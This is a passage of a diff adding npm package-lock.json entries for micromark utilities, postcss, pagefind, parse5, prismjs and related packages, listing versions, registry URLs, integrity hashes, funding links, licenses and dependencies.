+ "integrity": "sha512-VFMekyQExqIW7xIChcXn4ok29YE3rnuyveW3wZQWWqF4Nv9Wk5rgJ99KzPvHjkmPXF93FXIbBp6YdW3t71/7Vg==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "devlop": "^1.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-factory-mdx-expression": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/micromark-factory-mdx-expression/-/micromark-factory-mdx-expression-2.0.3.tgz",
+ "integrity": "sha512-kQnEtA3vzucU2BkrIa8/VaSAsP+EJ3CKOvhMuJgOEGg9KDC6OAY6nSnNDVRiVNRqj7Y4SlSzcStaH/5jge8JdQ==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "devlop": "^1.0.0",
+ "micromark-factory-space": "^2.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-events-to-acorn": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0",
+ "unist-util-position-from-estree": "^2.0.0",
+ "vfile-message": "^4.0.0"
+ }
+ },
+ "node_modules/micromark-factory-space": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-factory-space/-/micromark-factory-space-2.0.1.tgz",
+ "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-factory-title": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-factory-title/-/micromark-factory-title-2.0.1.tgz",
+ "integrity": "sha512-5bZ+3CjhAd9eChYTHsjy6TGxpOFSKgKKJPJxr293jTbfry2KDoWkhBb6TcPVB4NmzaPhMs1Frm9AZH7OD4Cjzw==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "micromark-factory-space": "^2.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-factory-whitespace": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-factory-whitespace/-/micromark-factory-whitespace-2.0.1.tgz",
+ "integrity": "sha512-Ob0nuZ3PKt/n0hORHyvoD9uZhr+Za8sFoP+OnMcnWK5lngSzALgQYKMr9RJVOWLqQYuyn6ulqGWSXdwf6F80lQ==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "micromark-factory-space": "^2.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-util-character": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/micromark-util-character/-/micromark-util-character-2.1.1.tgz",
+ "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-util-chunked": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-util-chunked/-/micromark-util-chunked-2.0.1.tgz",
+ "integrity": "sha512-QUNFEOPELfmvv+4xiNg2sRYeS/P84pTW0TCgP5zc9FpXetHY0ab7SxKyAQCNCc1eK0459uoLI1y5oO5Vc1dbhA==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "micromark-util-symbol": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-util-classify-character": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-util-classify-character/-/micromark-util-classify-character-2.0.1.tgz",
+ "integrity": "sha512-K0kHzM6afW/MbeWYWLjoHQv1sgg2Q9EccHEDzSkxiP/EaagNzCm7T/WMKZ3rjMbvIpvBiZgwR3dKMygtA4mG1Q==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-util-combine-extensions": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-util-combine-extensions/-/micromark-util-combine-extensions-2.0.1.tgz",
+ "integrity": "sha512-OnAnH8Ujmy59JcyZw8JSbK9cGpdVY44NKgSM7E9Eh7DiLS2E9RNQf0dONaGDzEG9yjEl5hcqeIsj4hfRkLH/Bg==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "micromark-util-chunked": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-util-decode-numeric-character-reference": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/micromark-util-decode-numeric-character-reference/-/micromark-util-decode-numeric-character-reference-2.0.2.tgz",
+ "integrity": "sha512-ccUbYk6CwVdkmCQMyr64dXz42EfHGkPQlBj5p7YVGzq8I7CtjXZJrubAYezf7Rp+bjPseiROqe7G6foFd+lEuw==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "micromark-util-symbol": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-util-decode-string": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-util-decode-string/-/micromark-util-decode-string-2.0.1.tgz",
+ "integrity": "sha512-nDV/77Fj6eH1ynwscYTOsbK7rR//Uj0bZXBwJZRfaLEJ1iGBR6kIfNmlNqaqJf649EP0F3NWNdeJi03elllNUQ==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "decode-named-character-reference": "^1.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-decode-numeric-character-reference": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-util-encode": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-util-encode/-/micromark-util-encode-2.0.1.tgz",
+ "integrity": "sha512-c3cVx2y4KqUnwopcO9b/SCdo2O67LwJJ/UyqGfbigahfegL9myoEFoDYZgkT7f36T0bLrM9hZTAaAyH+PCAXjw==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT"
+ },
+ "node_modules/micromark-util-events-to-acorn": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/micromark-util-events-to-acorn/-/micromark-util-events-to-acorn-2.0.3.tgz",
+ "integrity": "sha512-jmsiEIiZ1n7X1Rr5k8wVExBQCg5jy4UXVADItHmNk1zkwEVhBuIUKRu3fqv+hs4nxLISi2DQGlqIOGiFxgbfHg==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "@types/unist": "^3.0.0",
+ "devlop": "^1.0.0",
+ "estree-util-visit": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0",
+ "vfile-message": "^4.0.0"
+ }
+ },
+ "node_modules/micromark-util-html-tag-name": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-util-html-tag-name/-/micromark-util-html-tag-name-2.0.1.tgz",
+ "integrity": "sha512-2cNEiYDhCWKI+Gs9T0Tiysk136SnR13hhO8yW6BGNyhOC4qYFnwF1nKfD3HFAIXA5c45RrIG1ub11GiXeYd1xA==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT"
+ },
+ "node_modules/micromark-util-normalize-identifier": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-util-normalize-identifier/-/micromark-util-normalize-identifier-2.0.1.tgz",
+ "integrity": "sha512-sxPqmo70LyARJs0w2UclACPUUEqltCkJ6PhKdMIDuJ3gSf/Q+/GIe3WKl0Ijb/GyH9lOpUkRAO2wp0GVkLvS9Q==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "micromark-util-symbol": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-util-resolve-all": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-util-resolve-all/-/micromark-util-resolve-all-2.0.1.tgz",
+ "integrity": "sha512-VdQyxFWFT2/FGJgwQnJYbe1jjQoNTS4RjglmSjTUlpUMa95Htx9NHeYW4rGDJzbjvCsl9eLjMQwGeElsqmzcHg==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-util-sanitize-uri": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-util-sanitize-uri/-/micromark-util-sanitize-uri-2.0.1.tgz",
+ "integrity": "sha512-9N9IomZ/YuGGZZmQec1MbgxtlgougxTodVwDzzEouPKo3qFWvymFHWcnDi2vzV1ff6kas9ucW+o3yzJK9YB1AQ==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-encode": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-util-subtokenize": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/micromark-util-subtokenize/-/micromark-util-subtokenize-2.1.0.tgz",
+ "integrity": "sha512-XQLu552iSctvnEcgXw6+Sx75GflAPNED1qx7eBJ+wydBb2KCbRZe+NwvIEEMM83uml1+2WSXpBAcp9IUCgCYWA==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "devlop": "^1.0.0",
+ "micromark-util-chunked": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-util-symbol": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-util-symbol/-/micromark-util-symbol-2.0.1.tgz",
+ "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT"
+ },
+ "node_modules/micromark-util-types": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/micromark-util-types/-/micromark-util-types-2.0.2.tgz",
+ "integrity": "sha512-Yw0ECSpJoViF1qTU4DC6NwtC4aWGt1EkzaQB8KPPyCRR8z9TWeV0HbEFGTO+ZY1wB22zmxnJqhPyTpOVCpeHTA==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT"
+ },
+ "node_modules/mrmime": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/mrmime/-/mrmime-2.0.1.tgz",
+ "integrity": "sha512-Y3wQdFg2Va6etvQ5I82yUhGdsKrcYox6p7FfL1LbK2J4V01F9TGlepTIhnK24t7koZibmg82KGglhA1XK5IsLQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/ms": {
+ "version": "2.1.3",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
+ "license": "MIT"
+ },
+ "node_modules/nanoid": {
+ "version": "3.3.18",
+ "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.18.tgz",
+ "integrity": "sha512-DTg4MJbGMWkfi6VZFdNt2/caMbQy4Ou+Op/hJQvGEWcnVfoA1QA+xzRKAzw9jD6+GVOOeYr/mIcuDSdug6F6+w==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "license": "MIT",
+ "bin": {
+ "nanoid": "bin/nanoid.cjs"
+ },
+ "engines": {
+ "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
+ }
+ },
+ "node_modules/neotraverse": {
+ "version": "0.6.18",
+ "resolved": "https://registry.npmjs.org/neotraverse/-/neotraverse-0.6.18.tgz",
+ "integrity": "sha512-Z4SmBUweYa09+o6pG+eASabEpP6QkQ70yHj351pQoEXIs8uHbaU2DWVmzBANKgflPa47A50PtB2+NgRpQvr7vA==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/nlcst-to-string": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/nlcst-to-string/-/nlcst-to-string-4.0.0.tgz",
+ "integrity": "sha512-YKLBCcUYKAg0FNlOBT6aI91qFmSiFKiluk655WzPF+DDMA02qIyy8uiRqI8QXtcFpEvll12LpL5MXqEmAZ+dcA==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/nlcst": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/node-fetch-native": {
+ "version": "1.6.7",
+ "resolved": "https://registry.npmjs.org/node-fetch-native/-/node-fetch-native-1.6.7.tgz",
+ "integrity": "sha512-g9yhqoedzIUm0nTnTqAQvueMPVOuIY16bqgAJJC8XOOubYFNwz6IER9qs0Gq2Xd0+CecCKFjtdDTMA4u4xG06Q==",
+ "license": "MIT"
+ },
+ "node_modules/node-mock-http": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/node-mock-http/-/node-mock-http-1.0.5.tgz",
+ "integrity": "sha512-KQyt/wLjG3TAc7DOUhpqWzgd4ERxR80JOlTK5VE5R1S12IaPVN5qkj4klBce9HPG1Njuup4Sb5bljaT34lIyjw==",
+ "license": "MIT"
+ },
+ "node_modules/normalize-path": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
+ "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/nth-check": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz",
+ "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==",
+ "license": "BSD-2-Clause",
+ "dependencies": {
+ "boolbase": "^1.0.0"
+ },
+ "funding": {
+ "url": "https://github.com/fb55/nth-check?sponsor=1"
+ }
+ },
+ "node_modules/ofetch": {
+ "version": "1.5.1",
+ "resolved": "https://registry.npmjs.org/ofetch/-/ofetch-1.5.1.tgz",
+ "integrity": "sha512-2W4oUZlVaqAPAil6FUg/difl6YhqhUR7x2eZY4bQCko22UXg3hptq9KLQdqFClV+Wu85UX7hNtdGTngi/1BxcA==",
+ "license": "MIT",
+ "dependencies": {
+ "destr": "^2.0.5",
+ "node-fetch-native": "^1.6.7",
+ "ufo": "^1.6.1"
+ }
+ },
+ "node_modules/ohash": {
+ "version": "2.0.12",
+ "resolved": "https://registry.npmjs.org/ohash/-/ohash-2.0.12.tgz",
+ "integrity": "sha512-65S/5gk9YSsaRjcyf7Nfa6h/d3E8/1gslpXfI4W7Dxn/oap8IKRuNT5VXkLQ1YFKIEg4apRY4Pj6aiwFzrDdmw==",
+ "license": "MIT"
+ },
+ "node_modules/oniguruma-parser": {
+ "version": "0.12.2",
+ "resolved": "https://registry.npmjs.org/oniguruma-parser/-/oniguruma-parser-0.12.2.tgz",
+ "integrity": "sha512-6HVa5oIrgMC6aA6WF6XyyqbhRPJrKR02L20+2+zpDtO5QAzGHAUGw5TKQvwi5vctNnRHkJYmjAhRVQF2EKdTQw==",
+ "license": "MIT"
+ },
+ "node_modules/oniguruma-to-es": {
+ "version": "4.3.6",
+ "resolved": "https://registry.npmjs.org/oniguruma-to-es/-/oniguruma-to-es-4.3.6.tgz",
+ "integrity": "sha512-csuQ9x3Yr0cEIs/Zgx/OEt9iBw9vqIunAPQkx19R/fiMq2oGVTgcMqO/V3Ybqefr1TBvosI6jU539ksaBULJyA==",
+ "license": "MIT",
+ "dependencies": {
+ "oniguruma-parser": "^0.12.2",
+ "regex": "^6.1.0",
+ "regex-recursion": "^6.0.2"
+ }
+ },
+ "node_modules/p-limit": {
+ "version": "6.2.0",
+ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-6.2.0.tgz",
+ "integrity": "sha512-kuUqqHNUqoIWp/c467RI4X6mmyuojY5jGutNU0wVTmEOOfcuwLqyMVoAi9MKi2Ak+5i9+nhmrK4ufZE8069kHA==",
+ "license": "MIT",
+ "dependencies": {
+ "yocto-queue": "^1.1.1"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/p-queue": {
+ "version": "8.1.1",
+ "resolved": "https://registry.npmjs.org/p-queue/-/p-queue-8.1.1.tgz",
+ "integrity": "sha512-aNZ+VfjobsWryoiPnEApGGmf5WmNsCo9xu8dfaYamG5qaLP7ClhLN6NgsFe6SwJ2UbLEBK5dv9x8Mn5+RVhMWQ==",
+ "license": "MIT",
+ "dependencies": {
+ "eventemitter3": "^5.0.1",
+ "p-timeout": "^6.1.2"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/p-timeout": {
+ "version": "6.1.4",
+ "resolved": "https://registry.npmjs.org/p-timeout/-/p-timeout-6.1.4.tgz",
+ "integrity": "sha512-MyIV3ZA/PmyBN/ud8vV9XzwTrNtR4jFrObymZYnZqMmW0zA8Z17vnT0rBgFE/TlohB+YCHqXMgZzb3Csp49vqg==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=14.16"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/package-manager-detector": {
+ "version": "1.8.0",
+ "resolved": "https://registry.npmjs.org/package-manager-detector/-/package-manager-detector-1.8.0.tgz",
+ "integrity": "sha512-yQA4H19AmPEoMUeavPMDIe1higySl/gH/yaQrkT/s07Qp+7pp2hYz30N3z2l5BkjVkF9Ow6o0wjJamm2y7Sn0A==",
+ "license": "MIT"
+ },
+ "node_modules/pagefind": {
+ "version": "1.5.2",
+ "resolved": "https://registry.npmjs.org/pagefind/-/pagefind-1.5.2.tgz",
+ "integrity": "sha512-XTUaK0hXMCu2jszWE584JGQT7y284TmMV9l/HX3rnG5uo3rHI/uHU56XTyyyPFjeWEBxECbAi0CaFDJOONtG0Q==",
+ "dev": true,
+ "license": "MIT",
+ "bin": {
+ "pagefind": "lib/runner/bin.cjs"
+ },
+ "optionalDependencies": {
+ "@pagefind/darwin-arm64": "1.5.2",
+ "@pagefind/darwin-x64": "1.5.2",
+ "@pagefind/freebsd-x64": "1.5.2",
+ "@pagefind/linux-arm64": "1.5.2",
+ "@pagefind/linux-x64": "1.5.2",
+ "@pagefind/windows-arm64": "1.5.2",
+ "@pagefind/windows-x64": "1.5.2"
+ }
+ },
+ "node_modules/parse-entities": {
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-4.0.2.tgz",
+ "integrity": "sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/unist": "^2.0.0",
+ "character-entities-legacy": "^3.0.0",
+ "character-reference-invalid": "^2.0.0",
+ "decode-named-character-reference": "^1.0.0",
+ "is-alphanumerical": "^2.0.0",
+ "is-decimal": "^2.0.0",
+ "is-hexadecimal": "^2.0.0"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/parse-entities/node_modules/@types/unist": {
+ "version": "2.0.11",
+ "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.11.tgz",
+ "integrity": "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA==",
+ "license": "MIT"
+ },
+ "node_modules/parse-latin": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/parse-latin/-/parse-latin-7.0.0.tgz",
+ "integrity": "sha512-mhHgobPPua5kZ98EF4HWiH167JWBfl4pvAIXXdbaVohtK7a6YBOy56kvhCqduqyo/f3yrHFWmqmiMg/BkBkYYQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/nlcst": "^2.0.0",
+ "@types/unist": "^3.0.0",
+ "nlcst-to-string": "^4.0.0",
+ "unist-util-modify-children": "^4.0.0",
+ "unist-util-visit-children": "^3.0.0",
+ "vfile": "^6.0.0"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/parse5": {
+ "version": "7.3.0",
+ "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.3.0.tgz",
+ "integrity": "sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw==",
+ "license": "MIT",
+ "dependencies": {
+ "entities": "^6.0.0"
+ },
+ "funding": {
+ "url": "https://github.com/inikulin/parse5?sponsor=1"
+ }
+ },
+ "node_modules/piccolore": {
+ "version": "0.1.3",
+ "resolved": "https://registry.npmjs.org/piccolore/-/piccolore-0.1.3.tgz",
+ "integrity": "sha512-o8bTeDWjE086iwKrROaDf31K0qC/BENdm15/uH9usSC/uZjJOKb2YGiVHfLY4GhwsERiPI1jmwI2XrA7ACOxVw==",
+ "license": "ISC"
+ },
+ "node_modules/picocolors": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
+ "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==",
+ "license": "ISC"
+ },
+ "node_modules/picomatch": {
+ "version": "4.0.7",
+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.7.tgz",
+ "integrity": "sha512-qcJu88Q2IWqJsDD529JKMdwGm/dvInW4HvQnRwiH9JtihJvzGOscDtHE3x1pBKeUOTysQ8kVmLnJ2kJu7yhcGA==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/jonschlinkert"
+ }
+ },
+ "node_modules/postcss": {
+ "version": "8.5.26",
+ "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.26.tgz",
+ "integrity": "sha512-u82N74LFzG8ca+dD8puPnplTXoGH4fTPpVGuIbt36G3qvNlkvfD0lEAZSxaly3KX8TS/L1A1gsCEmvKmBcVbkQ==",
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/postcss/"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/postcss"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "nanoid": "^3.3.17",
+ "picocolors": "^1.1.1",
+ "source-map-js": "^1.2.1"
+ },
+ "engines": {
+ "node": "^10 || ^12 || >=14"
+ }
+ },
+ "node_modules/prismjs": {
+ "version": "1.30.0",
+ "resolved": "https://registry.npmjs.org/prismjs/-/prismjs-1.30.0.tgz",
+ "integrity": "sha512-DEvV2ZF2r2/63V+tK8hQvrR2ZGn10srHbXviTlcv7Kpzw8jWiNTqbVgjO3IY8RxrrOUF8VPMQQFysYYYv0YZxw==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/prompts": {
+ "version": "2.4.2",
+ "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz",
+ "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==",
+ "license": "MIT",
+ "dependencies": {
+ "kleur": "^3.0.3",
+ "sisteransi": "^1.0.5"
+ },
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/property-information": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/property-information/-/property-information-7.2.0.tgz",
+ "integrity": "sha512-IAtzIB6sUiWaJYrX9smp3V46pBGbBeLFRGdh25kg1334VcBlD8HzhPeNIWQH9zhGmo2itIe25EHt9dQP7G5hmg==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/radix3": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/radix3/-/radix3-1.1.2.tgz",
+ "integrity": "sha512-b484I/7b8rDEdSDKckSSBA8knMpcdsXudlE/LNL639wFoHKwLbEkQFZHWEYwDC0wa0FKUcCY+GAF73Z7wxNVFA==",
+ "license": "MIT"
+ },
+ "node_modules/readdirp": {
+ "version": "5.1.1",
+ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-5.1.1.tgz",
+ "integrity": "sha512-Kko+Y5XQ6fM+Ce3dq3m9YGxnacYZYl9cA1wZjaF3Vbry2L3i1qVg8+CAgNPsXRArPMUMCaOR7oa9Nqntc43JKA==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 20.19.0"
+ },
+ "funding": {
+ "type": "individual",
